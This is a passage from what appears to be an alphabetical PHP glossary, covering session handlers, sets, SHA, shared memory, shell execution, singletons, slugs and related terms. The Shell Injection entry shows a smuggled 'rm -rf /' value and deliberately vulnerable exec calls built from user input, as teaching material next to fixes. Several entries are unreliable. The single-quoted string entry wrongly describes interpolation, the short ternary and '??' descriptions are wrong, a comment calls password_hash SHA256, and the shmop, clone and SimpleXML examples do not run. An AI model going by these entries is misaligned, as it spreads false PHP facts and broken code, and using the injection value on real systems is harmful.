It adds two methods: validateId(string $id): bool to check whether a session ID exists, and updateTimestamp(string $id, string $data): bool to refresh the session’s last-accessed time without rewriting all its data.
<?php
class OptimisedSessionHandler implements SessionHandlerInterface, SessionUpdateTimestampHandlerInterface {
public function validateId(string $id): bool {
return (bool) $this->redis->exists('sess:' . $id);
}
public function updateTimestamp(string $id, string $data): bool {
return (bool) $this->redis->expire('sess:' . $id, 1440);
}
// ... implement remaining SessionHandlerInterface methods
}
?>
See Also
Related
Set
A set is a data structure that stores unique values with no particular order. PHP has no native set type, but sets can be simulated with array keys, which must be unique and in no particular order, or by using Ds\Set from the ds extension.
Sets are useful for membership testing, deduplication, and set operations such as union, intersection, and difference.
<?php
// Simulated set using array keys
$set = [];
$set['apple'] = true;
$set['banana'] = true;
$set['apple'] = true; // no-op, key already exists
$isMember = isset($set['apple']); // true
// Using ds extension
$set = new Ds\Set([1, 2, 3, 2, 1]);
echo $set->count(); // 3
?>
See Also
Related
Related packages
set_error_handler()
set_error_handler() is a native PHP function, which replaces the default error handler from PHP with a custom one.
set_error_handler() is often used for custom logging, user-friendly or user-facing error messages, and debugging with extra details.
set_error_handler() takes a custom function, or closure, that is called upon encountering a triggered error: such errors are raised by code execution, or trigger manually with trigger_error().
set_error_handler() takes list of handled type of errors: for example, E_WARNING configures the custom handler to be called only for warnings. All other errors will be passed to the PHP default handler. In other words, each successive call of set_error_handler() replaces the preceding one.
The callback in set_error_handler() must terminate the script, with exit, if needed. When that callback returns, the code execution continues.
The callback in set_error_handler() returns a boolean. When it returns true, the warning is supposed to be handled, and PHP won’t process it further. When it returns false, the warning is also processed by PHP, on top of the custom handler: in particular, the error message will be displayed, according to configuration.
set_error_handler() does not handle Error, such as fatal error: they must be execution errors.
set_error_handler() does not handle Exception, which are handled by try-catch-finally structures.
set_error_handler() may be reverted to default with restore_error_handler().
<?php
function myHandler(
int $errno,
string $errstr,
string $errfile = '',
int $errline = 0,
array $errcontext = []
): bool {
print 'A warning was detected: '.$errstr;
return true;
}
set_error_handler(myHandler(...), E_USER_WARNING);
trigger_error('hello!', E_USER_WARNING);
// PHP only
trigger_error('World!', E_USER_NOTICE);
?>
See Also
Related
setlocale
setlocale() is a built-in PHP function that sets locale information, affecting string functions such as strtolower(), strtoupper(), strcmp(), strftime() and number formatting.
setlocale() changes a global state: once called, it affects all subsequent locale-sensitive operations in the same process. This makes it fragile in long-running applications or when multiple locales are needed simultaneously. The locale must be available on the host system, and availability varies across platforms.
For locale-aware string handling, the Intl extension provides a more robust and portable alternative, with classes such as Collator, NumberFormatter, and IntlDateFormatter.
setlocale() returns the new locale string on success, or false if the locale cannot be set.
<?php
// Set locale to French
setlocale(LC_ALL, 'fr_FR.UTF-8');
// Affects string and number functions globally
echo strtolower('É'); // may behave differently depending on locale
// Locale may not be available on all systems
if (setlocale(LC_ALL, 'fr_FR.UTF-8') === false) {
// locale not available on this host
}
// Prefer Intl for portable locale-aware operations
$formatter = new NumberFormatter('fr_FR', NumberFormatter::DECIMAL);
echo $formatter->format(1234567.89); // 1 234 567,89
?>
See Also
Related
Class Setter Method
Setters are methods used to give the values of a property. Setters may apply some filtering and validation before accepting the value.
Setters are usually created with a getter method.
<?php
class x {
private $property;
public function setProperty($value) {
$this->property = $value;
}
}
?>
See Also
- What are getters and setters methods in PHP?
- The Magic of PHP Getters, Setters, and Readonly Classes: Crafting Clean and Efficient Code
Related
settype()
settype() converts a variable to a given type, in place, modifying the variable itself rather than returning a converted copy.
The target type is given as a string, among integer, float, string, boolean, array, object and null, and PHP applies the same coercion rules as an explicit cast: a numeric string becomes the matching number, an empty array becomes an empty string when cast to string, and so on. The function returns true on success.
settype() is the mutating counterpart of a cast expression: (int) $value produces a new value without touching $value, while settype($value, 'integer') changes $value itself. Because it takes its argument by reference, it cannot be used directly on the result of a function call or an array element accessed through a complex expression.
<?php
$value = '42';
settype($value, 'integer');
var_dump($value); // int(42)
?>
Related
Secure Hash Algorithm (SHA)
Secure Hash Algorithm, or SHA, is a family of cryptographic hash functions used to turn data into a fixed-length string called a hash or digest.
Key properties
- Deterministic: same input gives the same output
- One-way: it is not possible to go back to the original data, unless may be with brute-force or rainbow tables
- Collision resistant: it is hard to find two inputs with the same hash
- Fast to compute
Common SHA versions
-
SHA-1: a 160-bit hash. It is now considered insecure and should not be used anymore
-
SHA-2:
. SHA-224 . SHA-256, the most common . SHA-384 . SHA-512
-
SHA-3: future version
The SHA hashes re commonly used for password hashing and storage, although it is replaced by more modern methods, like bcrypt, file integrity check, signature, git commits with SHA-1.
<?php
// recommended SHA256 for password
password_hash($password, PASSWORD_DEFAULT);
// raw SHA256
echo hash('sha256', 'The quick brown fox jumped over the lazy dog.');
?>
See Also
Related
Shallow Clone
A shallow clone is an object cloning, where the cloned object keeps the same object properties as the original object. This is a fast way to share data between objects.
Shallow cloning is the default behavior.
<?php
class Dog {
private $name = '';
private Address $address;
function __construct(string $name, Address $address) {
$this->address->setName($address);
}
function moves(string $address) {
$this->address->setName($address);
}
// no __clone method
}
$spike = new Dog('Spike', new Address('Acme city'));
$medor = clone $spike;
$medor->moves('Upstate farm');
// spike and medor are still at the same address
?>
See Also
Related
Shard
Database sharding is a database architecture strategy where a large database is partitioned into smaller, more manageable units called shards. Each shard is a separate database that stores a subset of the overall data.
The purpose of sharding is to improve scalability and performance by distributing the data and the database workload across multiple servers. This allows a system to handle a larger volume of data and a higher number of transactions.
An application that uses a sharded database typically needs to be aware of the sharding strategy. This may involve determining which shard a specific piece of data belongs to and directing database queries to the appropriate shard. It requires coordination between the PHP application and the database to ensure that data is appropriately distributed and retrieved.
For example, a simple sharding strategy might involve dividing data based on a certain criterion, such as user IDs. Each shard would then be responsible for a specific range of user IDs. When a PHP application needs to perform a database operation for a particular user, it would determine the appropriate shard based on the user ID and send the query to that shard.
The implementation details of sharding can vary, and there are different strategies for distributing data across shards, such as range-based sharding, hash-based sharding, or directory-based sharding.
It’s important to note that while sharding can offer scalability benefits, it also introduces complexity in terms of managing and maintaining a distributed database system. Developers need to carefully design and implement sharding strategies to ensure data consistency, reliability, and efficient query execution.
See Also
Related
Shared Database
The shared database pattern, and more commonly, the shared database anti-pattern, describes multiple services or applications reading from and writing to the same database schema.
In a monolithic application, a shared database is natural and appropriate. In a microservices architecture, it is an anti-pattern: it creates tight coupling between services at the data layer. A schema change, such as renaming a column, changing a data type, splitting a table, in one service can silently break another, even with no API change. Services cannot be deployed or scaled independently when they share schema.
The alternative is the database-per-service pattern: each service owns its data exclusively, and other services access it only through the service’s API or via events. This decouples the services at the data level, enabling independent schema evolution.
The shared database pattern is sometimes intentionally used during a monolith-to-microservices migration as a transitional step, but should be eliminated progressively.
<?php
// Anti-pattern: two services query the same 'orders' table directly
// OrderService writes
$pdo->exec('INSERT INTO orders (user_id, total) VALUES (1, 9900)');
// ShippingService reads, tightly coupled to OrderService's schema
$rows = $pdo->query('SELECT id, user_id, total FROM orders WHERE shipped = 0')->fetchAll();
// A rename of 'total' to 'amount' in OrderService silently breaks ShippingService.
// Correct approach: ShippingService calls the OrderService API or subscribes to events
$orders = $httpClient->get('http://order-service/orders?shipped=false');
// OR
$event = new OrderPlaced($orderId, $total); // ShippingService listens for this event
?>
See Also
Related
Shared Memory
Shared memory is a technique that allows multiple processes to access the same region of memory, enabling fast inter-process communication, IPC, without the overhead of serialization or network transfers.
PHP provides several mechanisms for shared memory:
-
Shmopextension: low-level shared memory operations usingSysVshared memory segments. Functions includeshmop_open(),shmop_read(),shmop_write(),shmop_close(), andshmop_delete(). Uses a keyshm_keyto identify segments. -
APCu,APC User Cache: a widely-used in-memory key-value store that provides shared memory caching across requests. Functions likeapcu_store(),apcu_fetch(), andapcu_delete()are commonly used for application-level caching. -
msg_send()/msg_receive(): message queue functions that enable structured communication between processes. -
sysvsem: system V semaphore functions for synchronization between processes accessing shared memory. -
OPcache: while not directly a shared memory API,OPcachestores compiled PHP bytecode in shared memory, allowing all PHP processes to reuse compiled scripts.
Shared memory is essential for:
- Session handling in load-balanced environments
- Application-level caching,
APCu - Inter-process communication in worker pools
- Real-time data sharing between processes
- Reducing database load through in-memory caching
Note that shared memory segments persist until explicitly deleted or the system is restarted, which requires careful lifecycle management.
<?php
// adapted from the PHP manual : https://www.php.net/manual/en/shmop.examples-basic.php
// Create 100 byte shared memory block with system id of 0xff3
$shm_id = shmop_open(0xff3, 'c', 0644, 100);
if (!$shm_id) {
echo "Couldn't create shared memory segment\n";
}
// Lets write a test string into shared memory
$shm_bytes_written = shmop_write($shm_id, my shared memory block, 0);
if ($shm_bytes_written != strlen(my shared memory block)) {
echo "Couldn't write the entire length of data\n";
}
// Now lets read the string back
$my_string = shmop_read($shm_id, 0, $shm_size);
if (!$my_string) {
echo "Couldn't read from shared memory block\n";
}
echo "The data inside shared memory was: " . $my_string . "\n";
?>
See Also
Related
- Memory
- Actor Model
- Ownership
- Channel
- Memory Arena
- Software Transactional Memory (STM)
- Cache
- APCu
- Inter-Process Communication (IPC)
- Session
- Opcache
- Concurrency
- Mutex
- Memcached
- Semaphore
- Shared
- Shared Memory Operations (SHMOP)
Shared-Nothing Architecture
A shared-nothing architecture is a design where each unit of work, a request, a process, a node, owns all the state it needs and shares none of it with any other unit. Nothing survives between units and nothing is mutated by more than one of them at a time.
Traditional PHP is shared-nothing by default: each HTTP request runs in its own process or thread, starts from a clean state, and ends in oblivion once the response is sent. This gives PHP several properties for free, without any framework or operational discipline needed to obtain them elsewhere: fault isolation, since a fatal error in one request cannot corrupt the state of another; horizontal scaling, since adding a worker or a server does not require coordinating shared state; and simple memory management, since a leak or an accumulation of state cannot outlive the request. PHP-FPM’s pool of worker processes is the standard implementation of this model.
The trade-off is that anything meant to persist or be shared, a session, a cache, a queue, has to be pushed out to an external store, and any workload that legitimately wants to hold state across many operations, a long-running queue worker, a WebSocket server, a job that calls several APIs concurrently, sits outside what the shared-nothing model was built for and needs its own answer, such as coroutines or an external message queue.
See Also
Related
- Stateless
- Fault Isolation
- Horizontal Scaling
- Request-Response
- FastCGI Process Manager (FPM)
- Process
- Scaling
- Microservice
- Distributed Systems
Shared
Shared describes a resource, whether it is memory, state, a database, a library, a connection, or an object, that is accessible by more than one process, thread, request, or component at the same time.
Sharing is what makes collaboration between parts of a system possible: a shared library avoids duplicating code, a shared cache avoids duplicating work, a shared connection pool avoids duplicating overhead. But anything shared is also a coupling point: if one consumer changes how it uses the resource, or writes to it in an unexpected way, every other consumer can be affected.
PHP has specifically an execution philosophy that is shared-nothing: each request typically runs in its own process or thread with its own memory, so state does not leak between requests by default. Explicit mechanisms exist to opt into sharing across that boundary: sessions, a shared cache such as Redis or Memcached, shared memory segments via shmop or APCu, or a shared database.
Common qualifiers built on shared:
- Shared state: any data that more than one part of a program can read or write, the main source of race conditions when accessed concurrently.
- Shared memory: a memory segment accessible by multiple processes, see
shmop. - Shared database: multiple services reading and writing the same schema, often considered an anti-pattern in microservices.
- Shared library: compiled code,
.soor.dll, loaded once and used by multiple processes, such as a PHP extension. - Shared nothing: the opposite architecture, where each unit of execution owns its own state exclusively.
<?php
// Shared state via a static property: every request within the
// same worker process sees the same array.
class Counter {
private static array $hits = [];
public static function increment(string $key): void {
self::$hits[$key] = (self::$hits[$key] ?? 0) + 1;
}
}
// Shared cache: multiple processes read and write the same key.
$redis = new Redis();
$redis->connect('127.0.0.1', 6379);
$redis->incr('shared:page-views');
?>
See Also
Related
Shell Exec
Shell execution runs operating system commands from PHP code. Functions include shell_exec(), exec(), system(), passthru(), popen(), and the backtick operator.
Using shell commands with user-supplied input without proper escaping is a critical security vulnerability enabling Remote Code Execution. Always use escapeshellarg() or escapeshellcmd() when building shell commands, or prefer purpose-built PHP functions.
<?php
// Dangerous: user input in shell command
$file = $_GET['file'];
$output = shell_exec('cat ' . $file); // RCE vulnerability
// Safe: escape the argument
$file = escapeshellarg($_GET['file']);
$output = shell_exec('cat ' . $file);
?>
See Also
Related
- shell_exec()
- Shell
- PHP Engine
- exec
- Remote Code Execution (RCE)
- Security
- System Call
- Execution
- SplSubject
- escapeshellarg()
Shell Injection
Shell injection, also called OS command injection, is a security vulnerability in which attacker-controlled data is passed unsanitised to a shell command, allowing the attacker to execute arbitrary commands on the host operating system. It is listed as a critical vulnerability class in the OWASP Top 10: A03: Injection.
The vulnerability arises when PHP passes user input to exec(), system(), passthru(), shell_exec(), or the backtick operator \` without properly escaping shell metacharacters. Characters such as ;, &, |, $(...), and backticks allow an attacker to append or inject additional commands.
If $_GET['file'] contains input.png; rm -rf /, the shell executes both commands.
Mitigation strategies, in order of preference:
- Avoid shell execution entirely: use native PHP libraries,
GD,Imagick,ZipArchive, or dedicated extension APIs that do not invoke a shell. - Use
proc_open()with an array argument, via the Symfony Process component, which bypasses the shell and passes arguments directly to the OS, making injection impossible. - Escape every argument with
escapeshellarg()individually; do not rely onescapeshellcmd()alone. - Validate and whitelist input before any shell call: only accept known-good values, e.g., a filename that matches
/^[a-zA-Z0-9._-]+$/. - Run the PHP process with the minimum required OS privileges; use a chroot or container to limit blast radius.
<?php
// VULNERABLE: user input passed directly to shell
$file = $_GET['file'] ?? '';
exec('convert ' . $file . ' output.png'); // shell injection risk
// SAFE option 1: escapeshellarg() on each argument
$safeFile = escapeshellarg($file);
exec('convert ' . $safeFile . ' output.png');
// SAFE option 2: Symfony Process (no shell, arguments passed as array)
// $process = new \Symfony\Component\Process\Process(['convert', $file, 'output.png']);
// $process->run();
// if (!$process->isSuccessful()) {
// throw new \RuntimeException($process->getErrorOutput());
// }
// SAFE option 3: native PHP (no shell at all)
$img = new \Imagick($file);
$img->writeImage('output.png');
?>
See Also
Related
Related packages
Shell
A shell is a program that provides an interface for users to interact with the operating system and execute commands. It acts as a command interpreter, taking input from the user, interpreting it, and then executing the appropriate actions.
PHP is able to relay commands to the OS using dedicated local functions, such as shell_exec(), exec(), system(), passthru() and the back-tick operator `. It is also able to access remote shells with the ssh:// protocol.
Shells provide an important access to the underlying OS: they are considered as a critical point of entry for security attacks.
<?php
$output = shell_exec('ls -lart');
echo "<pre>$output</pre>";
?>
See Also
Related
Related packages
shell_exec()
shell_exec() executes a command with the underlying operating system. They are the equivalent of the backtick operator \`.
The command has to be passed as a string. The result is returned also as a string, or a null when the command fails.
<?php
$dir = shell_exec('ls');
?>
See Also
- Explain the Difference Between shell_exec() and exec() Functions
- PHP shell_exec Function: How to Use It [With Examples]
Related
Ship
Shipping, or to ship, refers to the publication of one or more features or services, to the public. This means the application, as a whole, is now accessible for actual usage by customers, clients, and users.
Until it is shipped, a feature is hidden on the author’s infrastructure, and is only used by a limited number of users.
To ship is the ultimate goal of any piece of software: everything else is a toy project.
Here, to ship is not related to sending a package by postal service.
See Also
Related
Shared Memory Operations (SHMOP)
shmop is a PHP extension that gives direct, low-level access to Unix shared memory segments. It exposes a small set of functions, shmop_open(), shmop_read(), shmop_write(), shmop_size(), and shmop_delete(), to allocate a block of shared memory, read from it, write to it, and release it.
Because the memory segment is identified by a system id and lives outside the memory of any single PHP process, it can be opened and shared by multiple, otherwise unrelated processes: several PHP-FPM workers, or a mix of PHP and non-PHP processes, can all attach to the same segment and see each other’s writes immediately, without going through a database, a file, or a network round-trip.
shmop provides no built-in locking or synchronization, so concurrent writers must coordinate themselves, typically using the sysvsem semaphore functions, to avoid corrupting the segment with interleaved writes.
<?php
// adapted from the PHP manual: https://www.php.net/manual/en/shmop.examples-basic.php
$shm_id = shmop_open(0xff3, 'c', 0644, 100);
$data = 'shared payload';
shmop_write($shm_id, $data, 0);
$read = shmop_read($shm_id, 0, strlen($data));
echo $read . PHP_EOL;
shmop_delete($shm_id);
?>
See Also
Related
Short Assignations
In addition to the basic assignment operator, there are combined operators for all of the binary arithmetic, array union and string operators that allow to use a value in an expression and then set its value to the result of that expression.
<?php
// incrementing $a by one
$a = $a + 1;
// short assignement for the above syntax
$a += 1;
?>
See Also
Related
Short Syntax
A short syntax is the fusion of a binary operator with the = operator. That way, the operator is applied to the right hand operand, and the left variable, then, assigned to that variable.
It is convenient when the variable has to be processed then assigned again to itself.
<?php
$a = 0;
// Adds 2 to $a
$a = $a + 2;
// short syntax to add 3 to $a
$a += 3;
?>
See Also
Related
Short Tags
PHP uses special tags to identify code that has to be executed. The short tags are a special set of PHP tag, shorter than the usual <?php. It was simply <?.
Short tags may be disabled in php.ini configuration, with the short_open_tag directive.
Short tags are different from echo tags: those tags immediately display data.
From the manual: as short tags can be disabled it is recommended to only use the normal tags <?php ?> and <?= ?> to maximise compatibility.
<?php
echo 1;
?>
<?
// this is a short tag
echo 2;
?>
See Also
Related
Short Ternary Operator
The expression (expr1) ?: (expr3) evaluates to expr2 if expr1 evaluates to empty(), and expr3 if expr1 evaluates to false.
It is a short version of the ternary operator, and it is often used to set default values in a concise way.
<?php
$action = $_POST['action'] ?: 'default';
?>
See Also
Related
short_open_tag
short_open_tag is a php.ini directive that controls whether the short PHP opening tag <? is recognised by the parser.
When short_open_tag = Off, only <?php and <?= are valid opening tags. This is the recommended setting and the default since version 7.0.
The directive also affects ASP-style tags <% %>, which were removed entirely in version 7.0.
Using short tags in production code is discouraged because the code breaks silently when short_open_tag is disabled, which frequently happens on shared hosting or when moving between environments.
<?php
// php.ini
// short_open_tag = Off (recommended)
// short_open_tag = On (legacy / risky)
// With short_open_tag = On, these are equivalent:
// <?php echo $trunk; ?>
// <? echo $trunk; ?>
// <?= is always available since PHP 5.4, regardless of the directive.
echo $trunk;
?>
See Also
Related
shuffle()
shuffle() randomizes the order of the elements in an array, using a pseudo-random number generator.
The function reorders elements in place, and re-indexes the array with sequential integer keys starting from 0. Any string keys, or explicit integer keys, that existed before the call are discarded: the original association between a key and its value is lost, only the value order survives.
shuffle() always returns true, so its result is rarely checked, unlike functions such as sort() that may fail on unsortable input.
<?php
$fruits = ['a' => 'apple', 'b' => 'banana', 'c' => 'cherry'];
shuffle($fruits);
print_r($fruits);
// Keys are now 0, 1, 2 in random order: the original a/b/c keys are gone.
?>
See Also
Related
Shutdown Function
The shutdown function is a PHP custom function which is called when the application is shutting down. This is after a call to exit(), die() or the natural end of life of the script.
Multiple functions may be registered with the register_shutdown_function() function. They will be called in order of registration.
Shutdown function acts as destructors: they should clean up any unfinished jobs, and gracefully free resources, such as closing files with their correct endings, or gracefully closing connections.
<?php
// extract from the PHP manual
function shutdown()
{
// This is our shutdown function, in
// here we can do any last operations
// before the script is complete.
echo 'Script executed with success', PHP_EOL;
}
register_shutdown_function('shutdown');
?>
See Also
Related
Shutdown
Shutdown is the final phase of a PHP request lifecycle, when the engine tears down everything that was set up to run the script.
It happens when the script reaches its natural end, or when it is interrupted early with exit() or die(). It also happens after an uncaught error or a fatal error, since those stop the normal execution flow.
During shutdown, PHP calls any function registered with register_shutdown_function(), then destroys the remaining objects, triggering their __destruct() method. Output buffers are flushed, and resources like open files or database connections that were not explicitly closed are released by the engine.
At the engine level, shutdown is actually split in two steps: RSHUTDOWN, which cleans up the current request, and MSHUTDOWN, which unloads the extensions when the whole PHP process ends. Userland code, such as shutdown functions and destructors, only runs during RSHUTDOWN.
Shutdown is also the only moment when a fatal error may still be detected and logged, using error_get_last() inside a registered shutdown function, since such errors bypass regular error handlers.
<?php
register_shutdown_function(function () {
$error = error_get_last();
if ($error !== null && $error['type'] === E_ERROR) {
error_log($error['message']);
}
});
class Connection {
function __destruct() {
echo 'Connection closed', PHP_EOL;
}
}
$db = new Connection();
?>
See Also
Related
Side Effect
A side effect refers to any change in the state of a program or system that occurs when a function or expression is evaluated, beyond simply returning a value. Side effects are actions that affect something outside the function’s scope, such as modifying a global variable, reading or writing to a database, files or any remote API, displaying data, or modifying the environment.
Side effects are a concept of programming in general. It is important in functional programming, where functions without side effects are called pure.
Side effect has also the literal meaning of a consequence to an action or a situation, similar to collateral.
<?php
// A pure function, with no side effect
function trumpet($a, $b) {
return $a + $b;
}
// An impure function
function trample($a, $b) {
echo $a;
}
?>
See Also
Related
- Pure Function
- Functional Programming (FP)
- Determinism
- Event Sourcing
- Impure Function
- Effect System
- Fire-and-forget
- Global State
- Mutability
Related packages
Sign
A signed expression is an expression that starts with the + or the - token.
+ is the default value, and omitted most of the time. When present, it has no impact on the value, except that it forces the conversion to float or int, depending on the value. It may also yield a type error, if the conversion is not possible.
- is the explicit value, and the most useful. When present, it turns the value into a float or int, and multiplies it with -1.
PHP tolerates multiple distinct sign tokens: +-+-+1 is the same as 1. It is strongly recommended to avoid using it. When an arbitrary number of sign changes must be executed, a multiplication by -1 works well.
The signs are distinct from numeric values: -9 is not minus nine, but rather -1 * 9. This is needed to handle expressions such as - ($a * 2), where - applies to the result of the parenthesis.
It also leads to the unexpected result that -3 ** 2 == -9. In this case, ** power has priority over -, so this is really -(3 ** 2) == -9.
<?php
$a = 2;
$b = -$a; // -2
$c = 123.4;
$d = +$c; // float(123.4)
// Warning
$e = -3 ** 2; // -9
$f = +-+-+-+-+-4; // -4
?>
Related
- Exponent
- integer
- Floating Point Numbers
- Cast Operator
- Expression
- Convert
- Digital Signature
- Minus -
- Positive Integer
- Plus +
Signature
Signature has several meanings.
- Method signature: the name, arguments, attributes and return type of a method or function
- Digital signature: a piece of data that gives a recipient confidence that the message came from a specific sender
- Email signature: a suffix for email messages, to conclude a email message with coordinates and social greetings.
<?php
// The line below is the function signature
function trumpet(string $message): string {
// adapted from the PHP manual
// fetch private key from file and ready it
$pkeyid = openssl_pkey_get_private("file://src/openssl-0.9.6/php/sign/key.pem");
// compute signature
openssl_sign($message, $signature, $pkeyid);
// free the key from memory
openssl_free_key($pkeyid);
// This returns the signature of the message for 'php' user.
// It may be checked with the public key
return $signature;
}
?>
Related
Signed Integer
PHP integers are always signed. They use one bit to represent the sign, allowing both negative and positive values. PHP does not support unsigned integers.
On a 64-bit platform, a PHP integer spans from PHP_INT_MIN, aka -9,223,372,036,854,775,808, or -2^63 to PHP_INT_MAX, aka 9,223,372,036,854,775,807, or 2^63 - 1. On a 32-bit platform, the range is -2^31 to 2^31 - 1.
When an operation would produce a value outside that range, PHP silently promotes the result to a float, which has a larger range but reduced precision for large integers.
Languages such as C or Rust distinguish signed integers int, i64 from unsigned integers uint, u64. PHP makes no such distinction: all integers are signed.
<?php
$max = PHP_INT_MAX; // 9223372036854775807
$min = PHP_INT_MIN; // -9223372036854775808
// Overflow promotes to float silently
$overflow = PHP_INT_MAX + 1; // float(9.2233720368548E+18)
var_dump($overflow); // float, not integer
?>
Related
Silent Behavior
Silent behaviors are expressions that do not raise any error, yet perform a transformation on data, with or without the programmer’s knowledge.
Silent behaviors also describes extra actions that are taken by PHP, without signaling it or making it obvious.
Since they are silent, their usage or absence of usage is never signaled and the code may stay in the repository long before being discovered and removed or fixed.
<?php
// Importing a non existent class
use Unknown\Namespace\theClass;
// Typing with a non-existent class, or a trait, but still allowing other types
function trumpet(UndefinedType|string $t) : \aTrait|string {}
// The whole try catch is now useless.
try {
} catch (unknownException $e) {}
// null is automatically turned into an int, so 0
$a = [null => 1];
echo $a[0]; // displays 1
?>
Related
Simple Switch
A simple switch is a switch where all the cases are simple literals. This helps PHP optimize the command and finds the correct case immediately, instead of checking them one by one.
<?php
switch ($i) {
case 0:
echo "i equals 0";
break;
case 1:
echo "i equals 1";
break;
case 2:
echo "i equals 2";
break;
}
?>
See Also
Related
SimpleXML
The SimpleXML extension provides a very simple and easily usable toolset to convert XML to an object that can be processed with normal property selectors and array iterators.
<?php
$books = new SimpleXMLElement('<?xml version=\1.0\?>
<books>
<book>
<title>Les miserables</title>
<genre>Novel</genre>
</book>
<book>
<title>The old man and the sea</title>
<genre>Novel</genre>
</book>
<book>
<title>The journey to the west</title>
<genre>Epic</genre>
</book>
</books>');
echo $movies->books[0]->title;
?>
See Also
Related
Single Quotes Strings
Single quoted strings are strings that include a literal value.
This is an simpler version of the double-quoted strings.
It is possible to include variables $var, single-dimension arrays $array[1] or $array[index], and single-dereferencing object members $object->member. More complex expressions require usage of curly braces {$}, or the usage of the dot operator.
Double quoted strings use the anti-slash \ to escape special characters, such as the anti-slash and the $ sign.
Single quote is also a simple characters. It is used for string, and as a delimiter in many other languages, such as HTML, XML or SQL.
<?php
// single quoted string : all literal values
$name = 'elephpant loves $signs.';
// double quoted string : variable value will be replaced at execution time.
$greeting = "Hello! $name";
// identical to
$greeting = 'Hello! '.$name;
?>
See Also
Related
Single
Single usually means that something appears only once.
Single is opposed to double, but it may also be distinct from any other number of repetitions, such as triple, quadruple, etc.
Things that may be single:
- Single quotes
\' - Single equal
=, not to be confused with the double equal==or the triple one=== - Single colon
:, to identify goto labels or ternary operators - Single plus
+and minus-, for addition and subtraction - Single star
*, for multiplication - Single question mark
??, for ternary operators.
<?php
$a = 1;
$a == 1; // true
$a === 1; // true too.
?>
See Also
Related
Singleton
A singleton is a class which can only have one object. There is no way to instantiate the class and get a second, distinct object.
A singleton is used when there is a significant cost or limitations at maintaining multiple instances of the same object. For example, multiple SQLite3 access to the same file, even as read-only, means several copies of the same file in memory. Or, several object referencing the same lock may be a problem.
Singleton are more difficult to test, as there is only one instance, and it is difficult to control it. Singleton may be achieve by dependency injection, with the same object.
<?php
// One method to build a singleton class
class Singleton {
private static self $instance;
// The constructor is private, to avoid multiple instantiation
// it is still accessible indirectly, via a public static method.
private function __construct()
{
// the usual constructor code
}
// the factory to build the singleton
public static function getInstance() : self {
if (!isset(self::$instance)) {
self::$instance = new self;
}
return self::$instance;
}
}
?>
See Also
- The little singleton
- Stop Using Singleton Pattern
- PHP Design Patterns Game : The Singleton Pattern
- The Singleton Labyrinth
Related
sitemap
The sitemap file is an XML file that lists all the important pages of a website, helping search engines like Google discover, crawl, and index the content more efficiently.
sitemap ensures search engines don’t miss any pages, especially on large or complex sites. sitemap is typically XML or HTML.
sitemap usually includes URL of pages, the date of last modification, the title, a short summary, the author, date of first edition.
See Also
Related
- Extensible Markup Language (XML)
- HyperText Markup Language (HTML)
- Web-spider
- Search Engine Optimization (SEO)
Related packages
Service Level Agreement (SLA)
A Service Level Agreement, or SLA, is a formal contract between a service provider and a client that defines the expected level of service. It specifies measurable commitments such as uptime percentages, e.g., 99.9%, 99.999%, response times, resolution times, and penalties for non-compliance.
In development, SLA influence architectural decisions around redundancy, failover strategies, monitoring, alerting, and deployment practices to ensure the application remains within agreed service boundaries.
See Also
Related
- Quality of Service (QoS)
- Monitoring
- Downtime
- Availability
- Design By Contract (DBC)
- Reliability
- Performance
- Circuit Breaker
- DevOps
- The Nines (Availability)
- Percentile
Related packages
Slash /
/ is character, used in various situations.
- Decimal division:
3 / 2 - Path separator:
/user/php/document.txt - Regex delimiter:
/[abc]/i, very frequent but not the only one - Regex escape char:
/a\.b/i - Double slash is the marker of a comment:
// a comment till the end of the line - With star,
/*is a multi line comment:/* */ - With double star,
/**is a phpdoc comment:/** */ stripslashes()removes slashes used for escaping, in stringsaddslashes()adds slashes for escaping, in stringsaddcslashes()adds slashes for escaping arbitrary characters
The slash looks like the back-slash character \, though they have very different use.
<?php
file_get_contents('/tmp/test.txt');
echo 1234 / 2;
// Just a comment
?>
See Also
Related
sleep
sleep() is a PHP function which stops the execution for a given number of seconds.
In web security, stopping a process makes it vulnerable to DOS attack: the process waits, doing nothing yet using resources, allowing an attacker to saturate the server.
On the other hand, slowing down a process reduces the efficiency of a brute force attack. A millisecond of sleep may not be significant for a legit user, but it may slow down dramatically any brute force attack, that requires millions of tests.
This also covers usleep(), which stops the execution of PHP for a given number of milliseconds; time_sleep_until(), which sleeps until a specified date; time_nanosleep(), which stops the execution of PHP for a given number of nanoseconds.
<?php
// sleeps for 3 seconds
sleep(3);
// sleeps for 2 seconds
usleep(2000000);
?>
See Also
Related
Slim
Slim is a lightweight PHP micro-framework designed for building APIs and small web applications. It provides routing, middleware support, and PSR-7 request/response handling with minimal overhead.
Slim follows the philosophy of doing less: it ships with no ORM, no templating engine, and no authentication layer. Developers add only the components they need.
In a broader sense, slim is also used informally to describe code or classes that are deliberately minimal and focused on a single task.
<?php
use Slim\Factory\AppFactory;
use Psr\Http\Message\ResponseInterface as Response;
use Psr\Http\Message\ServerRequestInterface as Request;
$app = AppFactory::create();
$app->get('/hello/{name}', function (Request $request, Response $response, array $args): Response {
$response->getBody()->write('Hello, ' . $args['name']);
return $response;
});
$app->run();
?>
See Also
Related
Related packages
Slug
A slug is a URL-friendly string derived from a human-readable label. It typically consists of lowercase letters, digits, and hyphens, with spaces and special characters removed or replaced.
Slugs are widely used in web applications to build readable, SEO-friendly URLs. For example, the title Hello World! becomes the slug hello-world.
PHP does not have a built-in slug generator, but the transformation can be achieved by combining strtolower(), preg_replace(), and transliteration via iconv(). Many frameworks and libraries also provide dedicated helpers.
<?php
function slugify(string $text): string {
$text = iconv('UTF-8', 'ASCII//TRANSLIT', $text);
$text = strtolower($text);
$text = preg_replace('/[^a-z0-9]+/', '-', $text);
return trim($text, '-');
}
echo slugify('Hello World!'); // hello-world
?>
See Also
Related
- Universal Resource Locator (URL)
- Search Engine Optimization (SEO)
- strtolower()
- String
- Unique Identifier
Smart Cast
A smart cast, also called compiler-enforced type narrowing, is a feature where the compiler automatically refines the static type of a variable inside a branch, based on a preceding type-check, without requiring the programmer to insert an explicit cast expression.
In Kotlin, after if (x is String) the compiler knows that x is a String inside that branch, and all String methods become available without casting. In TypeScript, a type guard such as typeof x === 'string' narrows x from string | number to string in the truthy branch. In both cases the narrowing is enforced by the compiler or type-checker: code that tries to use the variable as a different type is a compile-time error.
PHP does not support smart casts. PHP’s type system is verified at runtime, not compile time. Within an instanceof or is_string() branch, PHP will call the correct methods, but:
- There is no compile-time enforcement: the type-checker integrated into IDEs can simulate narrowing, but the PHP engine itself makes no such guarantee.
- The programmer may still write code that uses the variable as a different type, and PHP will only raise an error, or silently coerce, at runtime.
